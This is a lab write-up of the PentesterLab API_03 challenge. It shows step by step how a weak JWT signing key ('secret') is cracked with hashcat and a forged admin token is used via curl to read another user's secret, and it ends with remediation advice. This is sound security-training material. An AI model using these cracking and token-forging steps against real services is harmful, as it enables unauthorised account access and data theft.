API 03: JWT Cracking - Weak Secret Key
API 03: JWT Cracking - Weak Secret Key · from Anas-Magane/Pentesting (APIs Testing Security).
Description: In this video, we explore the challenge API_03 from the API badge on PentesterLab. We demonstrate how to crack a weak JWT secret key to forge tokens and access other users' secrets.
1. Context & Situation#
Target: API 03 (Secrets Endpoint)
Initial Problem: I tried to access secret 1 with my token (user ID 2). When I sent the request:
- Result:
403 Forbidden. - Why? My token has
"id": 2, but I need"id": 1to access the admin's secret.
2. The Vulnerability#
Type: JWT Weak Secret Key (Brute Force Attack).
Impact: I can crack the secret key used to sign tokens, then create my own valid tokens for any user (admin, user ID 1, etc.).
3. The Goal#
To find the secret key used by the server to sign JWT tokens. Once I have the key, I can create a valid signature for any payload I want.
4. The Tools#
Tools Used:
hashcatorjohn(for cracking the secret key)jwt.ioor Python script (for generating new tokens)
5. The Attack Steps (How to reproduce)#
Step 1: Get a Valid Token#
First, I logged in to get my legit token for user ID 2.
- Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiZXhwIjoxNzczNTE3MDgwfQ.Rq4_YW8n7XLtn22rmFSFKMgFQaGQ2XSSBlfS_Dxk10Y - Token Payload:
{"id": 2, "exp": 1773517080}
Step 2: Test Access to Secret 1#
I tried to access secret 1 with my current token.
- Command:
bash
curl -I 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \ -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiZXhwIjoxNzczNTE3MDgwfQ.Rq4_YW8n7XLtn22rmFSFKMgFQaGQ2XSSBlfS_Dxk10Y' - Result:
403 Forbidden. - Lesson: I don't have permission to access secret 1. The server is checking the user ID in the token.
Step 3: The Failed Attempt (Testing "None" Algorithm)#
I tried the "none" algorithm trick from the previous challenge.
- Token with "none":
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiZXhwIjoxNzY4MzM2ODcwfQ. - Command:
bash
curl -I 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \ -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiZXhwIjoxNzY4MzM2ODcwfQ.' - Result:
401 Unauthorized. - Lesson: This server is secure! It doesn't accept the "none" algorithm. We need a different approach.
Step 4: Crack the Secret Key#
Since the server requires a valid signature, I need to find the secret key.
I used a tool to brute force the key:
hashcat -a 0 -m 16500 <token> /usr/share/wordlists/rockyou.txtResult Found: The secret key is "secret" (very weak password!).
Step 5: Generate a New Valid Token#
Now that I have the secret key, I can create my own token.
New Payload:
{
"id": 1,
"exp": 1768337725
}I used jwt.io or a Python script to generate the token with:
- Algorithm: HS256
- Secret Key: "secret"
- Payload:
{"id": 1, "exp": 1768337725}
New Token Generated:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwiZXhwIjoxNzY4MzM3NzI1fQ.pVYi2E_8ZDplpU6sJn1cRMLOBIKBW33UW-pPXBw-H_8Step 6: Sending the Attack#
I sent the new forged token:
- Command:
bash
curl -I 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \ -H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwiZXhwIjoxNzY4MzM3NzI1fQ.pVYi2E_8ZDplpU6sJn1cRMLOBIKBW33UW-pPXBw-H_8' - Result:
200 OK- Success!
Step 7: Get the Secret#
Now I can fetch the admin's secret:
curl 'https://api-ptl-069292ad6934-f227f8dfa8f5.libcurl.me/api/secrets/1' \
-H 'Authorization: Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwiZXhwIjoxNzY4MzM3NzI1fQ.pVYi2E_8ZDplpU6sJn1cRMLOBIKBW33UW-pPXBw-H_8'Response:
{
"secret": {
"id": 1,
"name": "CTF_KEY",
"value": "flag{Welcom_to_Anas_Education}",
"createdAt": "2026-01-13T19:25:43.528Z",
"updatedAt": "2026-01-13T19:25:43.557Z",
"owner": {
"username": "admin",
"bio": null
}
}
}6. What We Learned#
The Vulnerability:
The server used a very weak secret key ("secret") to sign JWT tokens. This allowed me to crack the key using a simple wordlist attack.
Why This Works:
- JWT tokens signed with HS256 are only as secure as the secret key.
- Weak keys can be cracked in seconds with modern tools.
- Once you have the key, you can forge any token you want.
7. How to Fix This#
Proper Security:
- Use a strong, random secret key (at least 256 bits of random data).
- Never use common words or passwords as secret keys.
- Consider using RS256 (public/private key) instead of HS256.
- Rotate secret keys regularly.
- Implement rate limiting to prevent brute force attacks.
Lab Completed!